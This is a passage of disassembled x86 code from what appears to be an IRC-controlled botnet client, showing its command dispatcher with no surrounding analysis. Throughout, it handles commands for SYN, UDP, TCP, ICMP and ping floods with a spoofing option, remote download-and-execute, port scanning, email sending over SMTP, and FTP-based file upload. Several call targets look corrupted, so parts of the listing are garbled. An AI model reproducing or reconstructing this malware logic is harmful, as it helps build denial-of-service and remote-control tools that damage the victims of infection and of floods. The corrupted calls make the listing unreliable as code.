push offset dword_4378AC
jmp loc_4110CE
; ---------------------------------------------------------------------------
loc_410F1C: ; CODE XREF: sub_40EE72+209Ej
push offset dword_43787C
jmp loc_4110CE
; ---------------------------------------------------------------------------
loc_410F26: ; CODE XREF: sub_40EE72+2077j
push edi
push offset aStop ; "stop"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410F3E
push [ebp+arg_0]
push 4
jmp short loc_410F84
; ---------------------------------------------------------------------------
loc_410F3E: ; CODE XREF: sub_40EE72+20C3j
push edi
push offset aPause ; "pause"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410F56
push [ebp+arg_0]
push 5
jmp short loc_410F84
; ---------------------------------------------------------------------------
loc_410F56: ; CODE XREF: sub_40EE72+20DBj
push edi
push offset aContinue ; "continue"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410F6E
push [ebp+arg_0]
push 6
jmp short loc_410F84
; ---------------------------------------------------------------------------
loc_410F6E: ; CODE XREF: sub_40EE72+20F3j
push edi
push offset aDelete ; "delete"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410F90
push [ebp+arg_0]
push 1
loc_410F84: ; CODE XREF: sub_40EE72+2083j
; sub_40EE72+20CAj ...
call sub_40D719
pop ecx
pop ecx
jmp loc_4110AB
; ---------------------------------------------------------------------------
loc_410F90: ; CODE XREF: sub_40EE72+210Bj
push edi
push offset aShare ; "share"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410FFB
cmp [ebp+arg_18], ebx
jz short loc_410FCE
cmp [ebp+var_9C4], bl
jz short loc_410FC1
push ebx
push [ebp+arg_18]
push 1
loc_410FB4: ; CODE XREF: sub_40EE72+215Aj
call sub_40DAF0
add esp, 0Ch
jmp loc_4110AB
; ---------------------------------------------------------------------------
loc_410FC1: ; CODE XREF: sub_40EE72+213Aj
push [ebp+esi+var_88]
push [ebp+arg_18]
push ebx
jmp short loc_410FB4
; ---------------------------------------------------------------------------
loc_410FCE: ; CODE XREF: sub_40EE72+2132j
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40DCE6
add esp, 10h
test eax, eax
jz short loc_410FF1
push offset dword_43782C
jmp loc_4110CE
; ---------------------------------------------------------------------------
loc_410FF1: ; CODE XREF: sub_40EE72+2173j
push offset dword_4377FC
jmp loc_4110CE
; ---------------------------------------------------------------------------
loc_410FFB: ; CODE XREF: sub_40EE72+212Dj
push edi
push offset aUser ; "user"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41107E
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_411057
cmp [ebp+var_9C4], bl
jz short loc_41102D
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_411047
; ---------------------------------------------------------------------------
loc_41102D: ; CODE XREF: sub_40EE72+21A7j
push [ebp+var_4]
mov esi, [ebp+esi+var_88]
cmp esi, ebx
push [ebp+var_8C]
push [ebp+arg_4]
jz short loc_411051
push esi
push eax
push ebx
loc_411047: ; CODE XREF: sub_40EE72+21B9j
; sub_40EE72+21E3j
call sub_40DE07
add esp, 18h
jmp short loc_4110AB
; ---------------------------------------------------------------------------
loc_411051: ; CODE XREF: sub_40EE72+21D0j
push ebx
push eax
push 2
jmp short loc_411047
; ---------------------------------------------------------------------------
loc_411057: ; CODE XREF: sub_40EE72+219Fj
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40E337
add esp, 10h
test eax, eax
jz short loc_411077
push offset dword_4377C4
jmp short loc_4110CE
; ---------------------------------------------------------------------------
loc_411077: ; CODE XREF: sub_40EE72+21FCj
push offset dword_437798
jmp short loc_4110CE
; ---------------------------------------------------------------------------
loc_41107E: ; CODE XREF: sub_40EE72+2198j
push edi
push offset aSend ; "send"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4110C9
cmp [ebp+arg_18], ebx
jz short loc_4110C2
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E5EB
add esp, 10h
loc_4110AB: ; CODE XREF: sub_40EE72+2119j
; sub_40EE72+214Aj ...
push eax
push offset aS_1 ; "%s"
loc_4110B1: ; CODE XREF: sub_40EE72+4854j
; sub_40EE72+4B7Bj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
loc_4110BD: ; CODE XREF: sub_40EE72+5703j
add esp, 0Ch
jmp short loc_4110DC
; ---------------------------------------------------------------------------
loc_4110C2: ; CODE XREF: sub_40EE72+2220j
push offset dword_437768
jmp short loc_4110CE
; ---------------------------------------------------------------------------
loc_4110C9: ; CODE XREF: sub_40EE72+221Bj
push offset dword_43773C
loc_4110CE: ; CODE XREF: sub_40EE72+203Bj
; sub_40EE72+20A5j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_4110DC: ; CODE XREF: sub_40EE72+2043j
; sub_40EE72+224Ej ...
cmp [ebp+var_8], ebx
jnz short loc_4110FD
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_4110FD: ; CODE XREF: sub_40EE72+226Dj
; sub_40EE72+4849j ...
mov esi, [ebp+arg_24]
loc_411100: ; CODE XREF: sub_40EE72+9B3j
; sub_40EE72+4B37j ...
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
pop ecx
mov eax, esi
jmp loc_40F23C
; ---------------------------------------------------------------------------
loc_411114: ; CODE XREF: sub_40EE72+2020j
push [ebp+arg_8]
push offset aCom_capture ; "com.capture"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413402
push [ebp+arg_8]
push offset aCom_cap ; "com.cap"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413402
push [ebp+arg_8]
push offset aIrc_gethost ; "irc.gethost"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413314
push [ebp+arg_8]
push offset aIrc_gh ; "irc.gh"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413314
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_40F239
push [ebp+arg_8]
push offset aIrc_addalias ; "irc.addalias"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4132E2
push [ebp+arg_8]
push offset aIrc_aa ; "irc.aa"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4132E2
push [ebp+arg_8]
push offset aIrc_privmsg ; "irc.privmsg"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41328C
push [ebp+arg_8]
push offset aIrc_pm ; "irc.pm"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41328C
push [ebp+arg_8]
push offset aIrc_action ; "irc.action"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413226
push [ebp+arg_8]
push offset aIrc_ac ; "irc.ac"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413226
push [ebp+arg_8]
push offset aIrc_cycle ; "irc.cycle"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4131BD
push [ebp+arg_8]
push offset aIrc_cy ; "irc.cy"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4131BD
push [ebp+arg_8]
push offset aIrc_mode ; "irc.mode"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413183
push [ebp+arg_8]
push offset aIrc_m ; "irc.m"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413183
push [ebp+arg_8]
push offset aClone_raw ; "clone.raw"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413115
push [ebp+arg_8]
push offset aClone_ra ; "clone.ra"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413115
push [ebp+arg_8]
push offset aClone_mode ; "clone.mode"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413090
push [ebp+arg_8]
push offset aClone_m ; "clone.m"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413090
push [ebp+arg_8]
push offset aClone_nick ; "clone.nick"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413024
push [ebp+arg_8]
push offset aClone_ni ; "clone.ni"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413024
push [ebp+arg_8]
push offset aClone_join ; "clone.join"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412FFE
push [ebp+arg_8]
push offset aClone_j ; "clone.j"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412FFE
push [ebp+arg_8]
push offset aClone_part ; "clone.part"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412F9B
push [ebp+arg_8]
push offset aClone_p ; "clone.p"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412F9B
push [ebp+arg_8]
push offset aIrc_repeat ; "irc.repeat"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412ED2
push [ebp+arg_8]
push offset aIrc_rp ; "irc.rp"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412ED2
push [ebp+arg_8]
push offset aIrc_delay ; "irc.delay"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412E35
push [ebp+arg_8]
push offset aIrc_de ; "irc.de"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412E35
push [ebp+arg_8]
push offset aDownload_updat ; "download.update"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412CB1
push [ebp+arg_8]
push offset aDownload_up ; "download.up"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412CB1
push [ebp+arg_8]
push offset aCom_execute ; "com.execute"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412C1E
push [ebp+arg_8]
push offset aCom_e ; "com.e"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412C1E
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412B1D
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412B1D
push [ebp+arg_8]
push offset aCom_rename ; "com.rename"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412ACB
push [ebp+arg_8]
push offset aCom_mv ; "com.mv"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412ACB
push [ebp+arg_8]
push offset aDdos_icmp ; "ddos.icmp"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4129CA
push [ebp+arg_8]
push offset aDdos_ic ; "ddos.ic"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4129CA
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_40F239
push [ebp+arg_8]
push offset aClone_make ; "clone.make"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4128DF
push [ebp+arg_8]
push offset aClone_start ; "clone.start"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4128DF
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4127DA
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4127DA
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4127DA
push [ebp+arg_8]
push offset aDdos_synflood ; "ddos.synflood"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4126DC
push [ebp+arg_8]
push offset aDdos_synf ; "ddos.synf"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4126DC
push [ebp+arg_8]
push offset aDownload_wget ; "download.wget"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41259B
push [ebp+arg_8]
push offset aDownload_wg ; "download.wg"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41259B
push [ebp+arg_8]
push offset aDaemon_redirec ; "daemon.redirect"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41249E
push [ebp+arg_8]
push offset aDaemon_rd ; "daemon.rd"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41249E
push [ebp+arg_8]
push offset aRoot_portscan ; "root.portscan"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4123AB
push [ebp+arg_8]
push offset aRoot_ps ; "root.ps"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4123AB
push [ebp+arg_8]
push offset aClone_privmsg ; "clone.privmsg"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4122D6
push [ebp+arg_8]
push offset aClone_pm ; "clone.pm"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4122D6
push [ebp+arg_8]
push offset aClone_action ; "clone.action"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4121BE
push [ebp+arg_8]
push offset aClone_ac ; "clone.ac"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4121BE
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_40F239
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411E65
push [ebp+arg_8]
push offset aAsc ; "asc"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411E65
push [ebp+arg_8]
push offset aDdos_udpflood ; "ddos.udpflood"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411D42
push [ebp+arg_8]
push offset aDdos_udpf ; "ddos.udpf"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411D42
push [ebp+arg_8]
push offset aU ; "u"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411D42
push [ebp+arg_8]
push offset aDdos_pingflood ; "ddos.pingflood"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411BFE
push [ebp+arg_8]
push offset aDdos_pingf ; "ddos.pingf"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411BFE
push [ebp+arg_8]
push offset aP ; "p"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411BFE
push [ebp+arg_8]
push offset aDdos_tcpflood ; "ddos.tcpflood"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411A65
push [ebp+arg_8]
push offset aDdos_tcpf ; "ddos.tcpf"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411A65
push [ebp+arg_8]
push offset aUtil_email ; "util.email"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_41189C
lea eax, [ebp+var_3F8]
push edi
push eax
call sub_4179C0
push [ebp+arg_18]
call sub_41781F
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_DB0]
push eax
call sub_4179C0
push [ebp+arg_10]
lea eax, [ebp+var_BA8]
push eax
call sub_4179C0
push offset asc_42A3B4 ; " "
push offset a__0 ; "_"
push [ebp+esi+var_80]
call sub_40A7D7
push eax
lea eax, [ebp+var_55C]
push eax
call sub_4179C0
add esp, 30h
lea eax, [ebp+var_6EC]
push eax
push 101h
call dword_43F5E0
lea eax, [ebp+var_3F8]
push eax
call dword_43F6EC
push 6
push 1
push 2
mov edi, eax
call dword_43F6E8
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_2EC], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_2E8], eax
call dword_43F668
mov [ebp+var_2EA], ax
lea eax, [ebp+var_55C]
push eax
lea eax, [ebp+var_DB0]
push eax
lea eax, [ebp+var_55C]
push eax
lea eax, [ebp+var_BA8]
push eax
lea eax, [ebp+var_DB0]
push eax
lea eax, [ebp+var_15B0]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_4172B0
add esp, 1Ch
lea eax, [ebp+var_2EC]
push 10h
push eax
push esi
call dword_43F610
mov edi, 100h
push ebx
lea eax, [ebp+var_CAC]
push edi
push eax
push esi
call dword_43F680
lea eax, [ebp+var_CAC]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_15B0]
push eax
push esi
call dword_43F6B8
push ebx
lea eax, [ebp+var_CAC]
push edi
push eax
push esi
call dword_43F680
push esi
call dword_43F700
call dword_43F5C8
lea eax, [ebp+var_BA8]
push eax
push offset unk_4373F0
loc_411888: ; CODE XREF: sub_40EE72+3B53j
; sub_40EE72+3E3Aj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
jmp loc_413A64
; ---------------------------------------------------------------------------
loc_41189C: ; CODE XREF: sub_40EE72+28C0j
push [ebp+arg_8]
push offset aUtil_httpcon ; "util.httpcon"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411A34
push [ebp+arg_8]
push offset aUtil_hcon ; "util.hcon"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411A34
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz loc_40F239
push [ebp+arg_8]
push offset aFtp_upload ; "ftp.upload"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_414F47
push 4
push esi
call sub_40D000
pop ecx
test eax, eax
pop ecx
jnz short loc_411906
push esi
push offset dword_437398
jmp loc_413BFD
; ---------------------------------------------------------------------------
loc_411906: ; CODE XREF: sub_40EE72+2A87j
call near ptr 25E08E4h
nop
push eax
call sub_417302
pop ecx
call sub_41730C
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41730C
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41730C
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_CB0]
push edx
push eax
lea eax, [ebp+var_BAC]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_4172B0
lea eax, [ebp+var_BAC]
push offset aAb ; "ab"
push eax
call sub_4179A8
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_40F239
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_417956
push [ebp+arg_24]
call sub_417900
add esp, 20h
lea eax, [ebp+var_BAC]
push eax
lea eax, [ebp+var_3F8]
push offset aSS_4 ; "-s:%s"
push eax
call sub_4172B0
add esp, 0Ch
lea eax, [ebp+var_3F8]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_43F5DC
test eax, eax
push edi
push esi
jz short loc_4119D3
push offset dword_437320
jmp short loc_4119D8
; ---------------------------------------------------------------------------
loc_4119D3: ; CODE XREF: sub_40EE72+2B58j
push offset dword_4372E4
loc_4119D8: ; CODE XREF: sub_40EE72+2B5Fj
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_411A01
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_411A01: ; CODE XREF: sub_40EE72+2B71j
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
loc_411A0D: ; CODE XREF: sub_40EE72+2BC0j
lea eax, [ebp+var_BAC]
push 4
push eax
call sub_40D000
add esp, 0Ch
test eax, eax
jz loc_40F239
lea eax, [ebp+var_BAC]
push eax
call sub_419BBA
jmp short loc_411A0D
; ---------------------------------------------------------------------------
loc_411A34: ; CODE XREF: sub_40EE72+2A3Bj
; sub_40EE72+2A52j
push [ebp+esi+var_80]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41781F
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_406AF8
loc_411A5D: ; CODE XREF: sub_40EE72+587Aj
add esp, 24h
jmp loc_414F47
; ---------------------------------------------------------------------------
loc_411A65: ; CODE XREF: sub_40EE72+2892j
; sub_40EE72+28A9j
mov esi, 80h
push edi
lea eax, [ebp+var_678]
push esi
push eax
call sub_41782A
lea eax, [ebp+var_678]
push eax
push offset aSyn ; "syn"
call sub_4176D0
add esp, 14h
test eax, eax
jz short loc_411AC8
lea eax, [ebp+var_678]
push eax
push offset aAck ; "ack"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_411AC8
lea eax, [ebp+var_678]
push eax
push offset aRandom ; "random"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_411AC8
push offset dword_4372AC
jmp loc_4145FE
; ---------------------------------------------------------------------------
loc_411AC8: ; CODE XREF: sub_40EE72+2C1Cj
; sub_40EE72+2C33j ...
push [ebp+arg_10]
call sub_41781F
cmp eax, ebx
pop ecx
mov [ebp+var_570], eax
jle loc_411BF4
push edi
lea eax, [ebp+var_678]
push esi
push eax
call sub_41782A
add esp, 0Ch
lea eax, [ebp+var_6F8]
push [ebp+arg_18]
push esi
push eax
call sub_41782A
push [ebp+arg_0]
call sub_41781F
mov [ebp+var_574], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_9B6], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_56C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_6FC], eax
lea eax, [ebp+var_5F8]
push esi
push eax
call sub_41782A
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_56C], ebx
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_411B65
mov eax, offset aNormal ; "Normal"
loc_411B65: ; CODE XREF: sub_40EE72+2CECj
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset dword_437258
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41782A
push ebx
lea eax, [ebp+var_2DC]
push 0Ch
push eax
call sub_416D5C
add esp, 2Ch
mov [ebp+var_578], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6FC]
push ebx
push eax
push offset sub_401D82
push ebx
push ebx
call near ptr 2660D4Bh
nop
mov ecx, [ebp+var_578]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_411BE3
loc_411BCD: ; CODE XREF: sub_40EE72+2D6Fj
cmp [ebp+var_560], ebx
jnz loc_41460C
push 32h
call near ptr 25F0439h
nop
jmp short loc_411BCD
; ---------------------------------------------------------------------------
loc_411BE3: ; CODE XREF: sub_40EE72+2D59j
call near ptr 2630313h
nop
push eax
push offset dword_437210
jmp loc_413BFD
; ---------------------------------------------------------------------------
loc_411BF4: ; CODE XREF: sub_40EE72+2C67j
push offset dword_4371C8
jmp loc_4145FE
; ---------------------------------------------------------------------------
loc_411BFE: ; CODE XREF: sub_40EE72+284Dj
; sub_40EE72+2864j ...
cmp dword_43F758, ebx
mov esi, [ebp+arg_4]
jnz loc_411D09
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_300], eax
mov eax, [ebp+var_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_398]
push edi
push eax
call sub_418C10
push [ebp+arg_18]
call sub_41781F
push [ebp+arg_0]
mov [ebp+var_318], eax
call sub_41781F
push [ebp+arg_10]
mov [ebp+var_314], eax
call sub_41781F
push 7Fh
mov [ebp+var_310], eax
push [ebp+var_8C]
lea eax, [ebp+var_418]
push eax
call sub_418C10
add esp, 24h
lea eax, [ebp+var_398]
mov [ebp+var_41C], esi
push [ebp+var_310]
push [ebp+var_314]
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_318]
push offset unk_437170
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 0Eh
push eax
call sub_416D5C
add esp, 24h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_41C]
push ebx
push eax
push offset sub_40AF86
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_411CF8
loc_411CE6: ; CODE XREF: sub_40EE72+2E84j
cmp [ebp+var_2FC], ebx
jnz short loc_411D22
push 32h
call near ptr 25F0439h
nop
jmp short loc_411CE6
; ---------------------------------------------------------------------------
loc_411CF8: ; CODE XREF: sub_40EE72+2E72j
call near ptr 2630313h
nop
push eax
push offset unk_437128
jmp loc_4128CE
; ---------------------------------------------------------------------------
loc_411D09: ; CODE XREF: sub_40EE72+2D95j
push 1FFh
lea eax, [ebp+var_2DC]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_418C10
loc_411D1F: ; CODE XREF: sub_40EE72+3A68j
add esp, 0Ch
loc_411D22: ; CODE XREF: sub_40EE72+2E7Aj
; sub_40EE72+2FD2j ...
cmp [ebp+var_8], ebx
jnz loc_414E11
push ebx
push [ebp+var_4]
loc_411D2F: ; CODE XREF: sub_40EE72+567Ej
lea eax, [ebp+var_2DC]
push eax
push [ebp+var_8C]
push esi
jmp loc_414629
; ---------------------------------------------------------------------------
loc_411D42: ; CODE XREF: sub_40EE72+2808j
; sub_40EE72+281Fj ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_300], eax
mov eax, [ebp+var_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_398]
push edi
push eax
call sub_418C10
push [ebp+arg_18]
call sub_41781F
push [ebp+arg_0]
mov [ebp+var_318], eax
call sub_41781F
push [ebp+arg_10]
mov [ebp+var_314], eax
call sub_41781F
mov esi, [ebp+esi+var_80]
add esp, 18h
cmp esi, ebx
mov [ebp+var_310], eax
jz short loc_411DA7
push esi
call sub_41781F
pop ecx
mov [ebp+var_30C], eax
jmp short loc_411DAD
; ---------------------------------------------------------------------------
loc_411DA7: ; CODE XREF: sub_40EE72+2F24j
mov [ebp+var_30C], ebx
loc_411DAD: ; CODE XREF: sub_40EE72+2F33j
push 7Fh
lea eax, [ebp+var_418]
push [ebp+var_8C]
push eax
call sub_418C10
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_398]
mov [ebp+var_41C], esi
push [ebp+var_310]
push [ebp+var_314]
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_318]
push offset dword_4370B8
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 0Fh
push eax
call sub_416D5C
add esp, 24h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_41C]
push ebx
push eax
push offset sub_40B112
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_411E54
loc_411E3E: ; CODE XREF: sub_40EE72+2FE0j
cmp [ebp+var_2FC], ebx
jnz loc_411D22
push 32h
nop
call near ptr 25F0439h
jmp short loc_411E3E
; ---------------------------------------------------------------------------
loc_411E54: ; CODE XREF: sub_40EE72+2FCAj
nop
call near ptr 2630313h
push eax
push offset dword_437070
jmp loc_4128CE
; ---------------------------------------------------------------------------
loc_411E65: ; CODE XREF: sub_40EE72+27DAj
; sub_40EE72+27F1j
push 8
call sub_416FA4
push [ebp+arg_18]
mov [ebp+arg_8], eax
call sub_41781F
add eax, [ebp+arg_8]
pop ecx
pop ecx
cmp eax, 258h
jle short loc_411EB8
push [ebp+arg_8]
lea eax, [ebp+var_2DC]
push offset unk_437024
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 20h
jmp loc_414F47
; ---------------------------------------------------------------------------
loc_411EB8: ; CODE XREF: sub_40EE72+300Fj
push edi
call sub_41781F
push [ebp+arg_18]
mov [ebp+var_330], eax
call sub_41781F
push [ebp+arg_0]
mov [ebp+var_318], eax
call sub_41781F
add esp, 0Ch
cmp eax, 2
mov [ebp+var_32C], eax
jnb short loc_411EF1
push 2
pop eax
mov [ebp+var_32C], eax
loc_411EF1: ; CODE XREF: sub_40EE72+3074j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_411EFE
mov [ebp+var_32C], ecx
loc_411EFE: ; CODE XREF: sub_40EE72+3084j
push [ebp+arg_10]
call sub_41781F
mov [ebp+var_328], eax
mov eax, 320h
cmp [ebp+var_328], eax
pop ecx
jbe short loc_411F20
mov [ebp+var_328], eax
loc_411F20: ; CODE XREF: sub_40EE72+30A6j
or [ebp+var_314], 0FFFFFFFFh
cmp dword_42ACB0, ebx
mov [ebp+arg_0], ebx
jz short loc_411F76
mov [ebp+arg_24], offset dword_42ACB0
loc_411F39: ; CODE XREF: sub_40EE72+30E6j
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_411F5C
add [ebp+arg_24], 3Ch
inc [ebp+arg_0]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_411F39
jmp short loc_411F76
; ---------------------------------------------------------------------------
loc_411F5C: ; CODE XREF: sub_40EE72+30D8j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_314], eax
imul ecx, 3Ch
mov ecx, dword_42ACB0[ecx]
mov [ebp+var_330], ecx
loc_411F76: ; CODE XREF: sub_40EE72+30BEj
; sub_40EE72+30E8j
